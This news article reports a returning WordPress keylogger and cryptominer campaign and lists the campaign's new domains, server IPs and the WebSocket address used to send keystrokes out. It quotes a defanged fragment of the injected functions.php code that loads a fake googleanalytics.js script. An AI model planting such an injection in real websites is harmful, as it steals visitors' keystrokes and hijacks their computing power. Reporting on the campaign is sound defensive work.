Friday, June 21, 2024

Dangerous WordPress Keylogger Returns via New Domains that Affected More than 1000 Websites

A WordPress keylogger that already spreading via Cloudflare.solutions has changed now and it returns via new domains that affected more than 1000 of WordPress websites.

Last year This WordPress keylogger has been discovered in  Cloudflare[.]solutions and the domain was completely taken down but attackers now registered a new domains.

There are three new domains were identified  cdjs[.]online , cdns[.]ws, msdns[.]online and these 3 Malicious domains are responsible for injecting Keylogger into thousands of websites.

According to Sucuri, 129 websites for cdns[.]ws and 103 websites for cdjs[.]online, but it’s likely that the majority of the websites have not been indexed yet. Since mid-December, msdns[.]online has infected over a thousand websites.

Also Read  Malware Abuse Google Ads to Injecting Coinhive Cryptocurrency Miner

How does this WordPress keylogger Works

Attackers are using many malicious scripts that injected into targeting WordPress websites Database directly and compromise it.

The cdjs[.]online based Script injected into WordPress database file called wp_posts table or themes functions.php file and also other 2 scripts also injected into this file.

function chmnr_klgr_enqueue_script() {
wp_enqueue_script( 'chmnr_klgr-js', 'hxxps://cdns[.]ws/lib/googleanalytics.js', false );

cdjs[.]online also performing to inject 3 obfuscated fake googleanalytics.js same as the previous version of the campaign.

Also, Researchers found that fake jQuery has been used for injecting the encrypted CoinHive crypto mining in the targeted website.

Last year cloudflare[.]solutions was injected the /lib/kl.js script as a keylogger and the site was taken down later.

Accorinding to Securi, The only changes are the socketURL address, which now decodes to “wss://cdjs[.]online:8085/” (instead of wss://cloudflare[.]solutions:8085) and the red herring part of the linterkeys variables changed from “https://cdnjs.cloudflare.com/ajax/libs/linter/linter.js” to a more neutral “https://js.io/query”.

The keylogger will behave the same way in Newly infected website as previous campaigns that is displaying unwanted banners at the bottom of the page which appears 15 seconds after browsing the website due to injecting  the Cloudflare[.]solutions Scripts in function.php.

msdns[.]online Malicious Domain can perform as a crypto miners and keylogger also it located in the same server as cdns[.]ws.

Three Malicious IPs

Securi has identified that this new attack is utilizing the following 3 servers:

  • 185.209.23.219 (cdjs[.]online, or 3117488091, where you can still find the cloudflare[.]solutions version of the keylogger)
  • 185.14.28.10 (or 3104709642, which still hosts the hxxp://185.14.28 .10/lib/jquery-3.2.1.min.js?v=3.2.11 crypto miners and the cloudflare[.]solutions version of the keylogger hxxp://185 .14 .28. 10/lib/kl.js)
  • 107.181.161.159 (cdns[.]ws and msdns[.]online – which serves new versions of the cryptominers and keyloggers)
Website

Latest articles

PrestaShop Website Under Injection Attack Via Facebook Module

A critical vulnerability has been discovered in the "Facebook" module (pkfacebook) from Promokit.eu for...

Beware Of Illegal OTT Platforms That Exposes Sensitive Personal Information

A recent rise in data breaches from illegal Chinese OTT platforms exposes that user...

Beware Of Zergeca Botnet with Advanced Scanning & Persistence Features

A new botnet named Zergeca has emerged, showcasing advanced capabilities that set it apart...

Mailcow Mail Server Vulnerability Let Attackers Execute Remote Code

Two critical vulnerabilities (CVE-2024-31204 and CVE-2024-30270) affecting Mailcow versions before 2024-04 allow attackers to...

Hackers Attacking Vaults, Buckets, And Secrets To Steal Data

Hackers target vaults, buckets, and secrets to access some of the most classified and...

Hackers Weaponizing Windows Shortcut Files for Phishing

LNK files, a shortcut file type in Windows OS, provide easy access to programs,...

New Highly Evasive SquidLoader Attacking Employees Mimic As Word Document

Researchers discovered a new malware loader named SquidLoader targeting Chinese organizations, which arrives as...
Balaji
Balaji
BALAJI is an Ex-Security Researcher (Threat Research Labs) at Comodo Cybersecurity. Editor-in-Chief & Co-Founder - Cyber Security News & GBHackers On Security.

Free Webinar

API Vulnerability Scanning

71% of the internet traffic comes from APIs so APIs have become soft targets for hackers.Securing APIs is a simple workflow provided you find API specific vulnerabilities and protect them.In the upcoming webinar, join Vivek Gopalan, VP of Products at Indusface as he takes you through the fundamentals of API vulnerability scanning..
Key takeaways include:

  • Scan API endpoints for OWASP API Top 10 vulnerabilities
  • Perform API penetration testing for business logic vulnerabilities
  • Prioritize the most critical vulnerabilities with AcuRisQ
  • Workflow automation for this entire process

Related Articles